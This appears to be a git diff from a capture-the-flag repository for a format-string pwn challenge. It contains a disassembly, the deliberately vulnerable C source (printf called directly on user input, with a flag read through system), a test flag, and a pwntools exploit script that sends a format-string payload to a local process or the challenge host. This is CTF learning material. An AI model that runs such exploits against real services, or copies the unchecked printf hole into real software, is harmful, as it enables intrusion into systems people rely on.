40115e: c3 ret + 40115f: 90 nop + 401160: c3 ret + 401161: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] + 401168: 00 00 00 00 + 40116c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401170 : + 401170: f3 0f 1e fa endbr64 + 401174: eb 8a jmp 401100 + +0000000000401176 : + 401176: 55 push rbp + 401177: 48 89 e5 mov rbp,rsp + 40117a: 48 8b 05 cf 2e 00 00 mov rax,QWORD PTR [rip+0x2ecf] # 404050 + 401181: b9 00 00 00 00 mov ecx,0x0 + 401186: ba 02 00 00 00 mov edx,0x2 + 40118b: be 00 00 00 00 mov esi,0x0 + 401190: 48 89 c7 mov rdi,rax + 401193: e8 d8 fe ff ff call 401070 + 401198: 48 8b 05 a1 2e 00 00 mov rax,QWORD PTR [rip+0x2ea1] # 404040 + 40119f: b9 00 00 00 00 mov ecx,0x0 + 4011a4: ba 02 00 00 00 mov edx,0x2 + 4011a9: be 00 00 00 00 mov esi,0x0 + 4011ae: 48 89 c7 mov rdi,rax + 4011b1: e8 ba fe ff ff call 401070 + 4011b6: 48 8b 05 a3 2e 00 00 mov rax,QWORD PTR [rip+0x2ea3] # 404060 + 4011bd: b9 00 00 00 00 mov ecx,0x0 + 4011c2: ba 02 00 00 00 mov edx,0x2 + 4011c7: be 00 00 00 00 mov esi,0x0 + 4011cc: 48 89 c7 mov rdi,rax + 4011cf: e8 9c fe ff ff call 401070 + 4011d4: 90 nop + 4011d5: 5d pop rbp + 4011d6: c3 ret + +00000000004011d7 : + 4011d7: 55 push rbp + 4011d8: 48 89 e5 mov rbp,rsp + 4011db: 48 81 ec 10 04 00 00 sub rsp,0x410 + 4011e2: 48 8d 05 1f 0e 00 00 lea rax,[rip+0xe1f] # 402008 <_IO_stdin_used+0x8> + 4011e9: 48 89 c7 mov rdi,rax + 4011ec: e8 3f fe ff ff call 401030 + 4011f1: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410] + 4011f8: ba ff 03 00 00 mov edx,0x3ff + 4011fd: 48 89 c6 mov rsi,rax + 401200: bf 00 00 00 00 mov edi,0x0 + 401205: e8 56 fe ff ff call 401060 + 40120a: 89 45 fc mov DWORD PTR [rbp-0x4],eax + 40120d: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] + 401210: 83 e8 01 sub eax,0x1 + 401213: 48 98 cdqe + 401215: c6 84 05 f0 fb ff ff mov BYTE PTR [rbp+rax*1-0x410],0x0 + 40121c: 00 + 40121d: 48 8d 05 f7 0d 00 00 lea rax,[rip+0xdf7] # 40201b <_IO_stdin_used+0x1b> + 401224: 48 89 c7 mov rdi,rax + 401227: b8 00 00 00 00 mov eax,0x0 + 40122c: e8 1f fe ff ff call 401050 + 401231: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410] + 401238: 48 89 c7 mov rdi,rax + 40123b: b8 00 00 00 00 mov eax,0x0 + 401240: e8 0b fe ff ff call 401050 + 401245: 48 8d 05 da 0d 00 00 lea rax,[rip+0xdda] # 402026 <_IO_stdin_used+0x26> + 40124c: 48 89 c7 mov rdi,rax + 40124f: e8 dc fd ff ff call 401030 + 401254: 8b 05 12 2e 00 00 mov eax,DWORD PTR [rip+0x2e12] # 40406c + 40125a: 85 c0 test eax,eax + 40125c: 74 2d je 40128b + 40125e: 48 8d 05 c3 0d 00 00 lea rax,[rip+0xdc3] # 402028 <_IO_stdin_used+0x28> + 401265: 48 89 c7 mov rdi,rax + 401268: b8 00 00 00 00 mov eax,0x0 + 40126d: e8 de fd ff ff call 401050 + 401272: 48 8d 05 fc 0d 00 00 lea rax,[rip+0xdfc] # 402075 <_IO_stdin_used+0x75> + 401279: 48 89 c7 mov rdi,rax + 40127c: e8 bf fd ff ff call 401040 + 401281: bf 00 00 00 00 mov edi,0x0 + 401286: e8 f5 fd ff ff call 401080 + 40128b: 48 8d 05 ee 0d 00 00 lea rax,[rip+0xdee] # 402080 <_IO_stdin_used+0x80> + 401292: 48 89 c7 mov rdi,rax + 401295: e8 96 fd ff ff call 401030 + 40129a: 90 nop + 40129b: c9 leave + 40129c: c3 ret + +000000000040129d
: + 40129d: 55 push rbp + 40129e: 48 89 e5 mov rbp,rsp + 4012a1: 48 83 ec 10 sub rsp,0x10 + 4012a5: 89 7d fc mov DWORD PTR [rbp-0x4],edi + 4012a8: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi + 4012ac: b8 00 00 00 00 mov eax,0x0 + 4012b1: e8 c0 fe ff ff call 401176 + 4012b6: b8 00 00 00 00 mov eax,0x0 + 4012bb: e8 17 ff ff ff call 4011d7 + 4012c0: b8 00 00 00 00 mov eax,0x0 + 4012c5: c9 leave + 4012c6: c3 ret + +Disassembly of section .fini: + +00000000004012c8 <_fini>: + 4012c8: 48 83 ec 08 sub rsp,0x8 + 4012cc: 48 83 c4 08 add rsp,0x8 + 4012d0: c3 ret diff --git a/cscg25/pwn/intro2/exploit.py b/cscg25/pwn/intro2/exploit.py new file mode 100644 index 0000000..5998b8e --- /dev/null +++ b/cscg25/pwn/intro2/exploit.py @@ -0,0 +1,29 @@ +from pwn import * + +# Set the context for the binary +context.binary = './intro-fmt' # Replace with your binary's name + +# Choose local or remote +LOCAL = True # Change to False if connecting remotely + +if LOCAL: + p = process(context.binary.path) +else: + p = remote("39d9389ef3a77235a475377e-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience +def send_payload(payload): + p.sendline(payload) + +def recv_until(delim): + return p.recvuntil(delim) + +def interact(): + p.interactive() + +bug_addr = 0x40406c + +# Example interaction +recv_until(b'What is your name?') +payload = b"\x6c\x40\x40 %x %x %x %x %s" +send_payload(payload) + +interact() # Keep the shell open diff --git a/cscg25/pwn/intro2/flag b/cscg25/pwn/intro2/flag new file mode 100644 index 0000000..435dc67 --- /dev/null +++ b/cscg25/pwn/intro2/flag @@ -0,0 +1 @@ +CSCG{testflag} diff --git a/cscg25/pwn/intro2/intro-fmt b/cscg25/pwn/intro2/intro-fmt new file mode 100755 index 0000000..69b7151 Binary files /dev/null and b/cscg25/pwn/intro2/intro-fmt differ diff --git a/cscg25/pwn/intro2/intro-fmt.c b/cscg25/pwn/intro2/intro-fmt.c new file mode 100644 index 0000000..2caa56c --- /dev/null +++ b/cscg25/pwn/intro2/intro-fmt.c @@ -0,0 +1,41 @@ +#include +#include +#include + +// --------------------------------------------------- SETUP + +void ignore_me_init_buffering() { + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +// --------------------------------------------------- VULNERABLE FUNCTION + +int bug = 0; +void vuln() { + char name[1024]; + printf("What is your name?\n"); + int number_read = read(STDIN_FILENO, name, sizeof(name) - 1); + name[number_read - 1] = 0; + printf("Thank you "); + printf(name); + printf("!\n"); + if (bug) { + printf("Oh, you got here somehow, you must have triggered a bug.. Here is " + "the flag: "); + system("cat /flag"); + exit(0); + } + printf("But our flag is in another branch!\n"); +} + +// --------------------------------------------------- MAIN + +int main(int argc, char **argv) { + (void)argc; + (void)argv; + ignore_me_init_buffering(); + + vuln(); +}